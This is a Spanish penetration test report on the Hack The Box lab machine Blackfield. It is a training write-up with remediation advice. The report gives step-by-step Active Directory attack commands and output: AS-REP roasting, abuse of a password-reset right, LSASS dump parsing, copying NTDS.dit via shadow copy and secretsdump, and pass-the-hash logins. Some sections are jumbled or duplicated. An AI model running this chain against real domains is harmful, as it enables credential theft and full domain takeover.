

INFORME DE PRUEBAS DE PENETRACIÓN

Máquina: Blackfield

Plataforma: Hack The Box

Dificultad: Difícil

Clasificación: CONFIDENCIAL

Fecha: Febrero 2026

Versión: 1.0

1. Resumen Ejecutivo

Prueba de penetración completa sobre la máquina Blackfield de la plataforma Hack The Box. El objetivo fue identificar y explotar vulnerabilidades que permitieran comprometer el sistema desde un acceso externo sin credenciales previas hasta obtener privilegios de administrador de dominio.

Se identificaron y explotaron exitosamente las siguientes vulnerabilidades críticas:

- Enumeración de recursos compartidos SMB sin autenticación (null session), lo que expuso una lista de posibles usuarios del dominio.
- AS-REP Roasting sobre el usuario support (cuenta sin pre-autenticación Kerberos), permitiendo obtener y crackear el hash KRB5.
- Abuso de permisos ForceChangePassword sobre audit2020 mediante la cuenta support con la herramienta bloodyAD.
- Acceso al share forense con audit2020 y exfiltración del volcado de memoria lsass.DMP, del que se extrajeron hashes NTLM de svc_backup y Administrator.
- Escalada de privilegios a SYSTEM mediante SeBackupPrivilege: volcado del NTDS.dit vía DiskShadow + robocopy y posterior extracción de hashes del dominio con impacket-secretsdump.
- Pass-the-Hash con el hash de Administrator para obtener acceso completo al Domain Controller.

Como resultado, se obtuvo acceso completo al sistema con privilegios de Administrador, comprometiendo tanto la flag de usuario como la flag de root.

1.1 Resumen de Hallazgos

#	Vulnerabilidad	Severidad	CVSS	Vector
01	Enumeración SMB - Null Session / usuarios de dominio	Media	5.3	Red / Sin auth
02	AS-REP Roasting (soporte sin pre-auth Kerberos)	Alta	7.5	Red / Sin auth
03	ForceChangePassword sobre audit2020 (BloodHound)	Alta	7.5	Red / Auth usuario
04	Volcado lsass.DMP accesible vía SMB forense	Crítica	9.1	Red / Auth usuario
05	Escalada de privilegios vía SeBackupPrivilege / NTDS.dit	Crítica	8.8	Local / svc_backup

2. Información del Alcance

Objetivo	Blackfield (HackTheBox)
IP del objetivo	10.129.11.161 / 10.129.229.17
Sistema operativo	Windows Server 2019 Build 17763 x64 (DC01, dominio: BLACKFIELD.local)
Servicios expuestos	SMB (445), LDAP (389), Kerberos (88), WinRM (5985), RPC (135, 593), DNS (53), Global Catalog (3268)
Tipo de prueba	Caja negra (Black Box)
Fecha	febrero 2026
Herramientas utilizadas	Nmap, nxc (netexec), kerbrute, impacket-suite, bloodhound-python, bloodyAD, pypykatz, evil-winrm, DiskShadow, robocopy
Credenciales iniciales	Ninguna

3. Metodología

La auditoría se realizó siguiendo la metodología estándar de pentesting basada en las fases del framework PTES (Penetration Testing Execution Standard):

- Reconocimiento: Escaneo de puertos y servicios con Nmap (SYN Stealth Scan sobre 65535 puertos).
- Enumeración: Enumeración SMB con null session (nxc/netexec), listado de shares, enumeración de usuarios de dominio vía kerbrute y AS-REP Roasting.
- Explotación inicial: Crackeo del hash KRB5AS-REP del usuario support con hashcat.
- Reconocimiento de dominio: Volcado completo del dominio con bloodhound-python e identificación de vías de ataque (ForceChangePassword).
- Movimiento lateral: Cambio de contraseña de audit2020 vía bloodyAD y acceso al share forense para obtener lsass.DMP.
- Extracción de credenciales: Análisis del volcado lsass.DMP con pypykatz, obteniendo hashes NTLM de svc_backup y Administrator.
- Escalada de privilegios: Explotación de SeBackupPrivilege para acceder a NTDS.dit (DiskShadow + robocopy) y extracción offline con impacket-secretsdump.
- Acceso total: Pass-the-Hash con evil-winrm como Administrator.
- Documentación: Registro de evidencias y elaboración del presente informe.


```

2 SYSVOL
# use profiles$
#
# ls
drw-rw-rw- 0 Wed Jun 3 12:47:12 2020 .
drw-rw-rw- 0 Wed Jun 3 12:47:12 2020 ..
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 AAlleni
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 ABarteski
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 ABekesz
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 ABenzies
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 ABiemiller
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 AChampken
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 ACheretei
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 ACsonaki
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 AHigchens
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 AJaquemai
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 AKlado
drw-rw-rw- 0 Wed Jun 3 12:47:11 2020 AKoffenburger

```

- Usuarios válidos encontrados: audit2020, support [NOT PREAUTH], svc_backup

```

(kali@kali)-[~/Desktop/HTB/blackfield]
$ kerbrute -domain blackfield.local -users user -dc-ip 10.129.11.161
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Valid user => audit2020
[*] Valid user => support [NOT PREAUTH]
[*] Valid user => svc_backup
[*] No passwords were discovered :'(

```

Impacto

Permite a cualquier atacante de red sin credenciales enumerar usuarios del dominio Active Directory, facilitando ataques dirigidos como AS-REP Roasting, password spraying o fuerza bruta.

Recomendación

Deshabilitar el acceso anónimo/null session a SMB mediante la política RestrictAnonymous = 2. Restringir el acceso al share profiles\$ únicamente a usuarios autenticados. Revisar los permisos de todos los shares del DC.

HALL-02: AS-REP Roasting - Hash KRB5 del usuario support

Severidad	Alta
CVSS	7.5
Afecta a	Kerberos (Puerto 88) - Usuario: support
Autenticación requerida	No

Descripción

El usuario support tiene desactivada la pre-autenticación Kerberos (flag DONT_REQUIRE_PREAUTH). Esto permite a cualquier atacante solicitar un ticket TGT AS-REP al KDC sin conocer la contraseña, obteniendo un hash cifrado con la clave del usuario que se puede crackear offline. El ataque se denomina AS-REP Roasting.

Descripción

El share forensic contiene un volcado del proceso LSASS (Local Security Authority Subsystem Service) en el archivo lsass.zip. El proceso LSASS es el responsable de cachear las credenciales de dominio (hashes NTLM, tickets Kerberos) de todos los usuarios que han iniciado sesión en el equipo. El análisis offline del volcado con pypykatz permitió extraer hashes NTLM de múltiples usuarios, incluyendo Administrator.

Pasos de reproducción

- Acceder al share forensic y descargar lsass.zip:

```
(kali@kali)-[~/Desktop/HTB/blackfield]
$ impacket-smbclient blackfield/audit2020:Evolve2020@_@10.129.229.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# shares
ADMIN$
C$
forensic
IPC$
NETLOGON
profiles$
SYSVOL
# use forensic
drw-rw-rw- 0 Thu May 28 16:29:24 2020 .
drw-rw-rw- 0 Thu May 28 16:29:24 2020 ..
-rw-rw-rw- 37876530 Thu May 28 16:29:24 2020 conhost.zip
-rw-rw-rw- 24962333 Thu May 28 16:29:24 2020 ctfmon.zip
-rw-rw-rw- 23993305 Thu May 28 16:29:24 2020 dfsrs.zip
-rw-rw-rw- 18366396 Thu May 28 16:29:24 2020 dllhost.zip
-rw-rw-rw- 8810157 Thu May 28 16:29:24 2020 ismserv.zip
-rw-rw-rw- 41936098 Thu May 28 16:29:24 2020 lsass.zip
-rw-rw-rw- 64288607 Thu May 28 16:29:24 2020 mmc.zip
-rw-rw-rw- 13332174 Thu May 28 16:29:24 2020 RuntimeBroker.zip
-rw-rw-rw- 131983313 Thu May 28 16:29:24 2020 ServerManager.zip
-rw-rw-rw- 33141744 Thu May 28 16:29:24 2020 sihost.zip
-rw-rw-rw- 33756344 Thu May 28 16:29:24 2020 smartscreen.zip
-rw-rw-rw- 14408833 Thu May 28 16:29:24 2020 svchost.zip
-rw-rw-rw- 34631412 Thu May 28 16:29:24 2020 taskhostw.zip
-rw-rw-rw- 14255089 Thu May 28 16:29:24 2020 winlogon.zip
-rw-rw-rw- 4067425 Thu May 28 16:29:24 2020 wlms.zip
-rw-rw-rw- 18303252 Thu May 28 16:29:24 2020 WmiPrvSE.zip
#
```

- Extraer y analizar con pypykatz:

\$ unzip lsass.zip

```
(kali@kali)-[~/Desktop/HTB/blackfield]
$ pypykatz lsa minidump lsass.DMP
INFO:pypykatz:Parsing file lsass.DMP
FILE: ===== lsass.DMP =====
= LogonSession =
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
```

- Hashes NTLM obtenidos:

Administrator: XXXXXXXXXXXX | svc_backup: XXXXXXXXXXXX

Impacto

Comprometidos los hashes NTLM del usuario Administrator(aunque este no nos ha resultado favorecedor) y svc_backup. Con estos hashes es posible realizar Pass-the-Hash para autenticarse en cualquier servicio del dominio sin necesidad de conocer la contraseña en texto plano.

Recomendación

Nunca almacenar volcados de memoria de procesos críticos (LSASS) en shares de red accesibles. Activar Credential Guard en Windows para proteger las credenciales en memoria. Eliminar el contenido sensible del share forensic o restringir su acceso estrictamente.

HALL-05: Escalada de privilegios vía SeBackupPrivilege - Extracción de NTDS.dit

Severidad	Crítica
CVSS	8.8
Afecta a	DC01 - Usuario svc_backup
Autenticación requerida	Si (svc_backup)

Descripción

El usuario svc_backup pertenece al grupo BUILTIN\Backup Operators, lo que le otorga el privilegio SeBackupPrivilege (backup de archivos y directorios) y SeRestorePrivilege. Estos privilegios permiten copiar archivos protegidos del sistema independientemente de sus ACLs, incluido el archivo NTDS.dit (base de datos de Active Directory con todos los hashes de contraseñas del dominio). Para eludir el bloqueo del sistema de archivos en uso, se utiliza DiskShadow para crear una shadow copy del volumen C: y robocopy para extraer el NTDS.dit desde la copia de sombra.

Pasos de reproducción

- Acceder vía evil-winrm con Pass-the-Hash de svc_backup
- flag de usuario comprometida

```
(kali@kali)-[~/Desktop/HTB/blackfield]
$ evil-winrm -i 10.129.229.17 -u svc-backup -H [REDACTED]

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
[REDACTED]
```

```

*Evil-WinRM* PS C:\Users\svc_backup> cd Desktop
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> ls

Directory: C:\Users\svc_backup\Desktop

Mode                LastWriteTime         Length Name
----                -
-a                2/28/2020  2:26 PM             32 user.txt

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
[REDACTED]
*Evil-WinRM* PS C:\Users\svc_backup\Desktop>

```

- Confirmar pertenencia a Backup Operators y privilegio SeBackupPrivilege con `whoami /all`

3920bb317a0bef51027e2852be64b543

```

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /all

```

USER INFORMATION

User Name: SVC_BACKUP\BLACKFIELD\LOCAL
 blackfield\svc_backup S-1-5-21-4194615774-2175524697-3563712290-1413

GROUP INFORMATION

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators	Alias	S-1-5-32-551	Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users	Alias	S-1-5-32-580	Mandatory group, Enabled by default, Enabled group

Privilege Name | **Description** | **State**

SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

USER CLAIMS INFORMATION

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

```
*Evil-WinRM* PS C:\Windows\Temp> robocopy /b z:\windows\ntds . ntds.dit
* Testing Privilege on Windows 10

ROBOCOPY      ::ExploRobust File Copy for Windows

* Setting Up Privilege on Domain Controller

Started : Tuesday, February 17, 2026 3:23:09 PM
Source  : z:\windows\ntds\
Dest    : C:\Windows\Temp\
Files   : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
```

- Subir script DiskShadow (escalada.dsh) y crear shadow copy:
- Ejecutar DiskShadow y extraer NTDS.dit + SYSTEM:

```
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp> diskshadow /s escalada.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 2/17/2026 3:04:00 PM Windows 10

-> set context persistent nowriters
-> add volume c: alias escalada
-> create
Alias escalada for shadow ID {065fb88c-d53d-41f8-ad6c-040c9cc4463c} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {1f552429-57cb-4e7a-8dac-bc4b6a10095e} set as environment variable.
Querying all shadow copies with the shadow copy set ID {1f552429-57cb-4e7a-8dac-bc4b6a10095e}

* Shadow copy ID = {065fb88c-d53d-41f8-ad6c-040c9cc4463c}          %escalada%
Info: Shadow copy set: {1f552429-57cb-4e7a-8dac-bc4b6a10095e}    %VSS_SHADOW_SET%
```

```
->
*Evil-WinRM* PS C:\Windows\Temp> reg save hklm\system system
The operation completed successfully.

*Evil-WinRM* PS C:\Windows\Temp> ls

Directory: C:\Windows\Temp

Mode                LastWriteTime         Length Name
----                -
-a-----         2/17/2026   3:04 PM             618 2026-02-17_15-04-01_DC01.cab
-a-----         2/17/2026   3:03 PM              94 escalada.dsh
-a-----         2/17/2026   1:18 PM          217108 MpCmdRun.log
-a-----         2/17/2026  12:49 PM           102 silconfig.log
-a-----         2/17/2026   3:20 PM        17596416 system
```

- Descargar ntds.dit y system con evil-winrm:

```
*Evil-WinRM* PS C:\Windows\Temp> download system
Info: Downloading C:\Windows\Temp\system to system
Info: Download successful!
*Evil-WinRM* PS C:\Windows\Temp> download ntds.dit
Info: Downloading C:\Windows\Temp\ntds.dit to ntds.dit
Info: Download successful!
*Evil-WinRM* PS C:\Windows\Temp>
```

- Extraer todos los hashes del dominio offline:

```
(kali@kali)-[~/Desktop/HTB/blackfield]
$ impacket-secretsdump -ntds ntds.dit -system system local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
```

```
(kali@kali)-[~/Desktop/HTB/blackfield]
$ impacket-secretsdump -ntds ntds.dit -system system local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXX:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXX:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXX:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXX:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXX:::
support:1104:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXX:::
```

- Hash de Administrator obtenido: XXXXXXXXXXXX
- Acceso final como Administrator:
- flag de administrator comprometida

```
(kali@kali)-[~/Desktop/HTB/blackfield]
$ evil-winrm -i 10.129.229.17 -u administrator -H XXXXXXXXXXXX
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
XXXXXXXXXX
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

Impacto

Extracción completa de todos los hashes del dominio BLACKFIELD.local. Compromiso total del Domain Controller con privilegios de Administrator. El atacante obtiene control absoluto sobre el dominio Active Directory.

Recomendación

Eliminar del grupo Backup Operators cualquier cuenta que no lo necesite operativamente. Monitorizar el uso de SeBackupPrivilege y SeRestorePrivilege mediante SIEM/EDR. Activar Protected Users Security Group para cuentas privilegiadas. Implementar Just Enough Administration (JEA) para tareas de backup. Referencia: <http://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/>

5. Cronología del Ataque

Fase	Acción	Resultado
Reconocimiento	Nmap SYN scan 65535 puertos	Puertos 88, 135, 389, 445, 593, 5985 identificados. DC01 BLACKFIELD.local
Enumeración SMB	guest/anonymous session con nxc/smbclient	Shares visibles. profiles\$ expone lista de usuarios del dominio
Enumeración Kerberos	Kerbrute usernameenum + AS-REP Roasting	Usuarios válidos: audit2020, support [NOT PREAUTH], svc_backup. Hash KRB5 obtenido
Crackeo de hash	Hashcat modo 18200 (KRB5AS-REP) sobre rockyou.txt	support *****
Reconocimiento dominio	bloodhound-python -c all con credenciales support	Ruta de ataque identificada: support -> ForceChangePassword -> audit2020
Movimiento lateral	bloodyAD: cambio de contraseña audit2020	Acceso a share forense con audit2020
Exfiltración credenciales	Descarga lsass.zip, análisis con pypykatz	Hashes NTLM: Administrator y svc_backup obtenidos. Flag user.txt: XXXXXXXXXX
Escalada privilegios	evil-winrm svc_backup + SeBackupPrivilege + DiskShadow + robocopy + secretsdump	Hash Administrator (dominio): XXXXXXXXXXXX. NTDS.dit extraído
Acceso total	evil-winrm Pass-the-Hash como Administrator	Shell Administrator en DC01. Flag root.txt: XXXXXXXXXX

6. Conclusiones y Recomendaciones Generales

La máquina Blackfield presenta una cadena de explotación con múltiples vulnerabilidades de configuración en Active Directory que pueden encadenarse para comprometer completamente un Domain Controller. Las principales problemáticas identificadas son:

- Permisos SMB excesivos que exponen recursos del dominio sin autenticación.
- Cuentas de servicio/soporte configuradas sin pre-autenticación Kerberos (AS-REP Roasting).
- ACLs de Active Directory mal configurados (ForceChangePassword entre cuentas no privilegiadas).
- Almacenamiento de volcados de memoria sensibles (lsass.DMP) en shares de red accesibles.
- Abuso de membresía en Backup Operators para exfiltrar NTDS.dit y obtener todos los hashes del dominio.

Se recomienda abordar los hallazgos en el siguiente orden de prioridad:

Prioridad	Hallazgo	Plazo sugerido
CRÍTICA	Eliminar lsass.DMP y contenido sensible del share forense (HALL-04)	Inmediato (< 24h)
CRÍTICA	Revisar membresía en Backup Operators y monitorizar SeBackupPrivilege (HALL-05)	Inmediato (< 24h)
ALTA	Activar pre-autenticación Kerberos en todas las cuentas (HALL-02)	Urgente (< 1 semana)
ALTA	Eliminar permisos ForceChangePassword entre cuentas no privilegiadas (HALL-03)	Urgente (< 1 semana)
MEDIA	Deshabilitar null session SMB y restringir el acceso a profiles\$ (HALL-01)	Corto plazo (< 1 mes)

7. Referencias

- OWASP - Active Directory Security: <https://owasp.org/>
- AS-REP Roasting (KRB_AS_REP): <https://attack.mitre.org/techniques/T1558/004/>
- BloodHound CE - Active Directory Attack Paths: <https://github.com/SpecterOps/BloodHound>
- SeBackupPrivilege Escalation: <http://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/>
- Impacket Suite: <https://github.com/fortra/impacket>
- HackTheBox - Maquina Blackfield: <https://app.hackthebox.com/machines/Blackfield>
- PTES - Penetration Testing Execution Standard: <http://www.pentest-standard.org/>
- MITRE ATT&CK - OS Credential Dumping (LSASS Memory): <https://attack.mitre.org/techniques/T1003/001/>